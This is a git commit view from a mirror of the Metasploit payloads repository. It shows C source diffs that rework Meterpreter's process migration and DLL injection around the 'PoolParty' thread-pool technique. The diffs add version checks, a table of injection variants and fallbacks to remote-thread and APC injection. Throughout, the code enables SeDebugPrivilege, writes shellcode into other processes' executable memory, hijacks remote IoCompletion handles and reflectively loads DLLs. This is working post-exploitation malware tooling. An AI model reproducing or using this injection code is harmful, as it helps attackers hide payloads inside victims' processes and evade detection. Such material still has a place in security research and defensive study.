1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-16 00:24:29 +01:00

feat(injection): improved system check to ensure poolparty is supported, removed unused variants, better code to execute variants

This commit is contained in:
dledda-r7 2024-09-26 04:14:23 -04:00
parent 86b7920c77
commit cc408de7a6
No known key found for this signature in database
GPG Key ID: 4D4EC504A1F02FFF
5 changed files with 262 additions and 257 deletions

View File

@ -539,8 +539,8 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
MetsrvConfig* config = NULL;
DWORD configSize = 0;
BOOL bStealth = FALSE;
BOOL bPoolParty = FALSE;
DWORD dwProcessAccess;
do
{
@ -570,31 +570,28 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s", dwProcessID, dwDestinationArch == 2 ? "x64" : "x86");
dprintf("[MIGRATE] Attempting to migrate. PayloadLength=%d StubLength=%d", dwPayloadLength, dwMigrateStubLength);
bStealth = support_stealth_injection(dwDestinationArch);
bPoolParty = supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch);
if(TRUE) {
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
TOKEN_PRIVILEGES priv = { 0 };
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
{
TOKEN_PRIVILEGES priv = { 0 };
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
{
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
{
dprintf("[MIGRATE] Got SeDebugPrivilege!");
}
dprintf("[MIGRATE] Got SeDebugPrivilege!");
}
CloseHandle(hToken);
}
CloseHandle(hToken);
}
dwProcessAccess = PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ;
if (TRUE) {
dwProcessAccess |= PROCESS_CREATE_THREAD;
}
dwProcessAccess |= PROCESS_CREATE_THREAD;
hProcess = OpenProcess(dwProcessAccess, FALSE, dwProcessID);
@ -679,7 +676,17 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
free(ctx);
if (FALSE) {
if (bPoolParty) {
dwResult = inject_via_poolparty(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS;
if (dwResult != ERROR_SUCCESS){
// If we fail injecting with poolparty, we reset the dwResult and set the bPoolParty to FALSE to make the next if-clause true.
bPoolParty = FALSE;
dwResult = ERROR_SUCCESS;
dprintf("[MIGRATE] inject_via_poolparty failed, proceeding with legacy injection.");
}
}
if (!bPoolParty) {
// First we try to migrate by directly creating a remote thread in the target process
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
@ -693,11 +700,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
}
}
else {
if (inject_via_poolparty(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
SetLastError(ERROR_ACCESS_DENIED);
BREAK_WITH_ERROR("[MIGRATE] inject_via_poolparty failed", ERROR_INVALID_FUNCTION);
}
}
} while (0);

View File

@ -519,6 +519,13 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
DWORD dwPoolPartyVariant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION;
HANDLE hHeap = GetProcessHeap();
if (!supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch)) {
return ERROR_POOLPARTY_GENERIC;
}
POOLPARTY_INJECTOR *poolparty = GetOrInitPoolParty(dwMeterpreterArch, dwDestinationArch);
do
{
@ -528,18 +535,9 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x64");
lpStub = &poolparty_stub_x64;
dwStubSize = sizeof(poolparty_stub_x64) - 1;
}else if (dwMeterpreterArch == PROCESS_ARCH_X86 && !IsWow64Process(GetCurrentProcess(), NULL)) {
dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x86");
lpStub = &poolparty_stub_x86;
dwStubSize = sizeof(poolparty_stub_x86) - 1;
}
else {
dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_wow64");
lpStub = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(x64tox86) + sizeof(poolparty_stub_x86) - 2);
memcpy(lpStub, x64tox86, sizeof(x64tox86) - 1);
memcpy((LPBYTE)lpStub + sizeof(x64tox86) - 1, poolparty_stub_x86, sizeof(poolparty_stub_x86));
dwStubSize = sizeof(x64tox86) + sizeof(poolparty_stub_x86) - 2;
dwDestinationArch = PROCESS_ARCH_X64;
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on x86 targets (yet)!", ERROR_POOLPARTY_GENERIC);
}
hTriggerEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
@ -557,22 +555,34 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
lpPoolPartyStub = VirtualAllocEx(hProcess, NULL, dwStubSize + sizeof(POOLPARTYCONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
dprintf("[INJECT][inject_via_poolparty] ctx [%p] lpStartAddress: %p lpParameter %p hTriggerEvent %p", (LPBYTE) lpPoolPartyStub + dwStubSize, ctx.s.lpStartAddress, ctx.p.lpParameter, ctx.e.hTriggerEvent);
if (!lpPoolPartyStub) {
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: VirtualAllocEx failed!", ERROR_POOLPARTY_GENERIC);
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] VirtualAllocEx failed!", ERROR_POOLPARTY_GENERIC);
}
if (!WriteProcessMemory(hProcess, lpPoolPartyStub, lpStub, dwStubSize, NULL)) {
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
}
if (!WriteProcessMemory(hProcess, (BYTE *)lpPoolPartyStub + dwStubSize, &ctx, sizeof(POOLPARTYCONTEXT), NULL)) {
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
}
if (remote_tp_direct_insertion(hProcess, dwDestinationArch, lpPoolPartyStub, (BYTE*)lpPoolPartyStub + dwStubSize, &hTriggerEvent) == ERROR_SUCCESS) {
dprintf("[INJECT] inject_via_poolparty: injectied!");
for (UINT8 variant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION; variant < POOLPARTY_TECHNIQUE_COUNT; variant++) {
if (poolparty->variants[variant].isInjectionSupported) {
#ifdef DEBUGTRACE
char* VARIANT_POS_TO_STR[POOLPARTY_TECHNIQUE_COUNT] = {
"POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION",
};
dprintf("[INJECT][inject_via_poolparty] Attempting injection with variant %s", VARIANT_POS_TO_STR[variant]);
#endif
dwResult = poolparty->variants[variant].handler(hProcess, dwDestinationArch, lpPoolPartyStub, (BYTE*)lpPoolPartyStub + dwStubSize, &hTriggerEvent);
if (dwResult == ERROR_SUCCESS) {
dprintf("[INJECT] inject_via_poolparty: injectied!");
break;
}
}
}
else {
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: migration with remote_tp_wait_insertion failed", ERROR_POOLPARTY_GENERIC)
if (dwResult != ERROR_SUCCESS) {
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: none of the supported variant worked.", ERROR_POOLPARTY_GENERIC)
}
}
else {
@ -600,19 +610,6 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
return dwResult;
}
BOOL support_stealth_injection(DWORD dwDestinationArch) {
OSVERSIONINFO os = { 0 };
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (GetVersionEx(&os)) {
if (os.dwMajorVersion >= 6) { // PoolParty is supported from Vista.
if (dwDestinationArch == dwMeterpreterArch) {
return TRUE;
}
}
}
return FALSE;
}
/*
* Inject a DLL image into a process via Reflective DLL Injection.
*
@ -638,83 +635,8 @@ BOOL support_stealth_injection(DWORD dwDestinationArch) {
* target and must be set to a valid address within the target process.
*/
DWORD inject_dll_legacy( DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
LPVOID lpRemoteArg = NULL;
HANDLE hProcess = NULL;
LPVOID lpRemoteLibraryBuffer = NULL;
LPVOID lpReflectiveLoader = NULL;
DWORD dwReflectiveLoaderOffset = 0;
do
{
if( !lpDllBuffer || !dwDllLength )
BREAK_WITH_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER );
if (dwDestinationArch == PROCESS_ARCH_UNKNOWN)
dwDestinationArch = dwMeterpreterArch;
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer, reflectiveLoader );
if( !dwReflectiveLoaderOffset )
BREAK_WITH_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION );
hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid );
if( !hProcess )
BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." );
if( lpArg )
{
if (stArgSize)
{
// alloc some space and write the argument which we will pass to the injected dll...
lpRemoteArg = VirtualAllocEx(hProcess, NULL, stArgSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!lpRemoteArg)
BREAK_ON_ERROR("[INJECT] inject_dll. VirtualAllocEx 1 failed");
if (!WriteProcessMemory(hProcess, lpRemoteArg, lpArg, stArgSize, NULL))
BREAK_ON_ERROR("[INJECT] inject_dll. WriteProcessMemory 1 failed");
}
else
{
// if only lpArg is specified, pass it as-is without allocating space for it and copying the contents
lpRemoteArg = lpArg;
}
}
// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" );
// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLength, NULL ) )
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" );
// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPVOID)((DWORD_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
// First we try to inject by directly creating a remote thread in the target process
if( inject_via_remotethread( NULL, NULL, hProcess, dwDestinationArch, lpReflectiveLoader, lpRemoteArg ) != ERROR_SUCCESS )
{
dprintf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." );
// If that fails we can try to migrate via a queued APC in the target process
if( inject_via_apcthread( NULL, NULL, hProcess, dwPid, dwDestinationArch, lpReflectiveLoader, lpRemoteArg ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" )
}
dwResult = ERROR_SUCCESS;
} while( 0 );
if( hProcess )
CloseHandle( hProcess );
return dwResult;
}
DWORD inject_dll_stealth (DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize)
DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize)
{
DWORD dwResult = ERROR_ACCESS_DENIED;
LPVOID lpRemoteArg = NULL;
@ -722,7 +644,7 @@ DWORD inject_dll_stealth (DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuff
LPVOID lpRemoteLibraryBuffer = NULL;
LPVOID lpReflectiveLoader = NULL;
DWORD dwReflectiveLoaderOffset = 0;
BOOL bPoolParty = supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch);
do
{
if (!lpDllBuffer || !dwDllLength)
@ -735,7 +657,7 @@ DWORD inject_dll_stealth (DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuff
if (!dwReflectiveLoaderOffset)
BREAK_WITH_ERROR("[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION);
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, dwPid);
hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid);
if (!hProcess)
BREAK_ON_ERROR("[INJECT] inject_dll. OpenProcess failed.");
@ -771,9 +693,26 @@ DWORD inject_dll_stealth (DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuff
lpReflectiveLoader = (LPVOID)((DWORD_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
// First we try to inject by directly creating a remote thread in the target process
if (inject_via_poolparty(NULL, NULL, hProcess, dwDestinationArch, lpReflectiveLoader, lpRemoteArg) != ERROR_SUCCESS)
{
dprintf("[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread...");
if (bPoolParty) {
dwResult = inject_via_poolparty(NULL, NULL, hProcess, dwDestinationArch, lpReflectiveLoader, lpRemoteArg);
if (dwResult != ERROR_SUCCESS) {
dprintf("[INJECT] inject_via_poolparty failed, proceeding with legacy injection.");
// Reset dwResult and set bPoolParty to FALSE.
dwResult = ERROR_SUCCESS;
bPoolParty = FALSE;
}
}
if (!bPoolParty) {
if (inject_via_remotethread(NULL, NULL, hProcess, dwDestinationArch, lpReflectiveLoader, lpRemoteArg) != ERROR_SUCCESS)
{
dprintf("[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread...");
// If that fails we can try to migrate via a queued APC in the target process
if (inject_via_apcthread(NULL, NULL, hProcess, dwPid, dwDestinationArch, lpReflectiveLoader, lpRemoteArg) != ERROR_SUCCESS)
BREAK_ON_ERROR("[INJECT] inject_dll. inject_via_apcthread failed")
}
}
dwResult = ERROR_SUCCESS;
@ -784,15 +723,4 @@ DWORD inject_dll_stealth (DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuff
CloseHandle(hProcess);
return dwResult;
}
DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize) {
DWORD injected = 1;
if (support_stealth_injection(dwDestinationArch)) {
injected = inject_dll_stealth(dwPid, dwDestinationArch, lpDllBuffer, dwDllLength, reflectiveLoader, lpArg, stArgSize);
}
if (injected != ERROR_SUCCESS) {
injected = inject_dll_legacy(dwPid, dwDestinationArch, lpDllBuffer, dwDllLength, reflectiveLoader, lpArg, stArgSize);
}
return injected;
}

View File

@ -99,7 +99,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);
DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);
BOOL support_stealth_injection(DWORD dwDestinationArch);
BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch);
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -3,7 +3,7 @@
#include "pool_party_ext.h"
pNtDll *ntdll = NULL;
BOOL bSupportedTechnique[POOLPARTY_TECHNIQUE_COUNT] = { 0 };
POOLPARTY_INJECTOR* poolLifeguard = NULL;
pNtDll* GetOrInitNtDll() {
BOOL bError = FALSE;
@ -19,50 +19,107 @@ pNtDll* GetOrInitNtDll() {
bError = ntdll == NULL;
if (!bError) {
HMODULE hNtDll = LoadLibraryA("ntdll.dll");
// Hijack Handles, we always have this ( hopefully :/ )
ntdll->pNtQueryInformationProcess = (NTSTATUS(NTAPI*)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationProcess");
ntdll->pNtQueryObject = (NTSTATUS(NTAPI*)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryObject");
dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: %p NtQueryObject: %p", ntdll->pNtQueryInformationProcess, ntdll->pNtQueryObject);
// Remote TP Wait Insertion: WIN11, WIN10(?)
ntdll->pZwAssociateWaitCompletionPacket = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN))GetProcAddress(hNtDll, "ZwAssociateWaitCompletionPacket");
if (ntdll->pZwAssociateWaitCompletionPacket != NULL) {
bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION] = TRUE;
}
dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwAssociateWaitCompletionPacket: %p", ntdll->pZwAssociateWaitCompletionPacket);
// Remote TP Direct Insertion: WIN11 WIN10(?) WIN7
ntdll->pZwSetIoCompletion = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR))GetProcAddress(hNtDll, "ZwSetIoCompletion");
if (ntdll->pZwSetIoCompletion != NULL) {
bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION] = TRUE;
if (poolLifeguard != NULL) {
poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isSystemSupported = TRUE;
}
}
dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: %p", ntdll->pZwSetIoCompletion);
//ntdll->pZwAssociateWaitCompletionPacket = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN))GetProcAddress(hNtDll, "ZwAssociateWaitCompletionPacket");
//if (ntdll->pZwAssociateWaitCompletionPacket != NULL) {
// if (poolLifeguard != NULL) {
// poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].isSystemSupported = TRUE;
// }
//}
//dprintf("[INJECT][inject_via_poolparty][ntdll_init] ZwAssociateWaitCompletionPacket: %p", ntdll->pZwAssociateWaitCompletionPacket);
ntdll->pNtQueryInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationWorkerFactory"); // WIN 7
dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationWorkerFactory: %p", ntdll->pNtQueryInformationWorkerFactory);
//ntdll->pNtQueryInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationWorkerFactory"); // WIN 7
//dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationWorkerFactory: %p", ntdll->pNtQueryInformationWorkerFactory);
ntdll->pNtSetInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG))GetProcAddress(hNtDll, "NtSetInformationWorkerFactory"); // WIN7
dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtSetInformationWorkerFactory: %p", ntdll->pNtSetInformationWorkerFactory);
//ntdll->pNtSetInformationWorkerFactory = (NTSTATUS(NTAPI*)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG))GetProcAddress(hNtDll, "NtSetInformationWorkerFactory"); // WIN7
//dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtSetInformationWorkerFactory: %p", ntdll->pNtSetInformationWorkerFactory);
if (ntdll->pNtQueryInformationWorkerFactory != NULL && ntdll->pNtSetInformationWorkerFactory != NULL) {
bSupportedTechnique[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE] = TRUE;
}
//ntdll->pZwSetInformationFile = (NTSTATUS(NTAPI*)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, ULONG))GetProcAddress(hNtDll, "ZwSetInformationFile"); // WIN7
//ntdll->pNtAlpcCreatePort = (NTSTATUS(NTAPI*)(PHANDLE, POBJECT_ATTRIBUTES, PALPC_PORT_ATTRIBUTES))GetProcAddress(hNtDll, "NtAlpcCreatePort"); // WIN7
//ntdll->pNtAlpcSetInformation = (NTSTATUS(NTAPI*)(HANDLE, ULONG, PVOID, ULONG))GetProcAddress(hNtDll, "NtAlpcSetInformation"); // WIN7
//ntdll->pNtAlpcConnectPort = (NTSTATUS(NTAPI*)(PHANDLE, PUNICODE_STRING, POBJECT_ATTRIBUTES, PALPC_PORT_ATTRIBUTES, DWORD, PSID, PPORT_MESSAGE, PSIZE_T, PALPC_MESSAGE_ATTRIBUTES, PALPC_MESSAGE_ATTRIBUTES, PLARGE_INTEGER))GetProcAddress(hNtDll, "NtAlpcConnectPort"); // WIN7
//ntdll->pRtlAdjustPrivilege = (NTSTATUS(NTAPI*)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN))GetProcAddress(hNtDll, "RtlAdjustPrivilege"); // WIN7
//ntdll->pNtSetTimer2 = (NTSTATUS(NTAPI*)(HANDLE, PLARGE_INTEGER, PLARGE_INTEGER, PT2_SET_PARAMETERS))GetProcAddress(hNtDll, "NtSetTimer2"); // WIN 10(?)
//ntdll->pNtTpAllocAlpcCompletion = (NTSTATUS(NTAPI*)(PVOID, HANDLE, PVOID, PVOID, PVOID))GetProcAddress(hNtDll, "TpAllocAlpcCompletion"); // WIN7
//ntdll->pTpAllocJobNotification = (NTSTATUS(NTAPI*)(PVOID, HANDLE, PVOID, PVOID, PVOID))GetProcAddress(hNtDll, "TpAllocJobNotification"); // WIN 10
//if (ntdll->pNtQueryInformationWorkerFactory != NULL && ntdll->pNtSetInformationWorkerFactory != NULL) {
// if (poolLifeguard != NULL) {
// poolLifeguard->variants[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE].isSystemSupported = TRUE;
// }
//}
}
}
return ntdll;
}
POOLPARTY_INJECTOR* GetOrInitPoolParty(DWORD dwSourceArch, DWORD dwDestinationArch) {
BOOL bError = FALSE;
HANDLE hHeap = GetProcessHeap();
bError = (hHeap == NULL);
BOOL isWow64;
IsWow64Process(GetCurrentProcess(), &isWow64);
if (poolLifeguard != NULL) {
return poolLifeguard;
}
if (!bError) {
poolLifeguard = (POOLPARTY_INJECTOR*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(POOLPARTY_INJECTOR));
bError = poolLifeguard == NULL;
if(!bError) {
poolLifeguard->init = FALSE;
if (ntdll == NULL) {
bError = GetOrInitNtDll() == NULL;
}
}
if (!bError) {
if (dwSourceArch == PROCESS_ARCH_X64) {
if (dwDestinationArch == PROCESS_ARCH_X64) {
// poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].isInjectionSupported = poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].isSystemSupported;
}
poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isInjectionSupported = poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isSystemSupported;
}
}
if (!bError) {
poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].handler = remote_tp_direct_insertion;
// poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].handler = remote_tp_wait_insertion;
// poolLifeguard->variants[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE].handler = worker_factory_start_routine_overwrite;
poolLifeguard->init = TRUE;
}
}
if (bError && poolLifeguard != NULL) {
HeapFree(hHeap, 0, poolLifeguard);
poolLifeguard = NULL;
}
return poolLifeguard;
};
// For now we support only Windows 10 x64 -> Windows 10 x64
BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch) {
OSVERSIONINFO os = { 0 };
BOOL isWow64;
IsWow64Process(GetCurrentProcess(), &isWow64);
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
NTSTATUS(*pRtlGetVersion)(OSVERSIONINFO * os) = (NTSTATUS(*)(OSVERSIONINFO * os)) GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlGetVersion");
dprintf("[INJECT][supports_poolparty_injection] RtlGetVersion: %p", pRtlGetVersion);
if (!pRtlGetVersion(&os)) {
dprintf("[INJECT][supports_poolparty_injection] dwSourceArch: %d dwDestinationArch: %d isWow64: %d", dwSourceArch, dwDestinationArch, isWow64);
dprintf("[INJECT][supports_poolparty_injection] os.dwMajorVersion: %d os.dwMinorVersion: %d", os.dwMajorVersion, os.dwMinorVersion);
if (os.dwMajorVersion >= 10) {
if (dwDestinationArch == dwSourceArch && dwSourceArch == PROCESS_ARCH_X64) {
return TRUE;
}
}
}
return FALSE;
}
HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess) {
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
@ -118,44 +175,7 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess)
return hHijackHandle;
}
DWORD remote_tp_wait_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *hTriggerHandle) {
BOOL bError = FALSE;
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
ULONG dwInformationSizeIn = 1;
ULONG dwInformationSizeOut = 0;
pNtDll* ntDll = NULL;
DWORD dwResult = ERROR_POOLPARTY_GENERIC;
HANDLE hHeap = GetProcessHeap();
do {
ntDll = GetOrInitNtDll();
if (ntdll == NULL) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Cannot init GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
}
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION]) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
}
hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS);
if (hHijackHandle == INVALID_HANDLE_VALUE) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED)
}
if (hHijackHandle != INVALID_HANDLE_VALUE) {
PFULL_TP_WAIT hThreadPool = (PFULL_TP_WAIT)CreateThreadpoolWait((PTP_WAIT_CALLBACK)(lpStartAddress), lpParameter, NULL);
PFULL_TP_WAIT pRemoteTpWait = VirtualAllocEx(hProcess, NULL, sizeof(FULL_TP_WAIT) + sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
PTP_DIRECT pRemoteTpDirect = (PTP_DIRECT)(pRemoteTpWait + sizeof(FULL_TP_WAIT));
WriteProcessMemory(hProcess, pRemoteTpWait, hThreadPool, sizeof(FULL_TP_WAIT), NULL);
WriteProcessMemory(hProcess, pRemoteTpDirect, &hThreadPool->Direct, sizeof(TP_DIRECT), NULL);
ntDll->pZwAssociateWaitCompletionPacket(hThreadPool->WaitPkt, hHijackHandle, *hTriggerHandle, pRemoteTpDirect, pRemoteTpWait, 0, 0, NULL);
dwResult = 0;
}
} while (0);
return dwResult;
}
DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTrigger) {
DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent) {
BOOL bError = FALSE;
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
ULONG dwInformationSizeIn = 1;
@ -171,7 +191,7 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI
if (ntdll == NULL) {
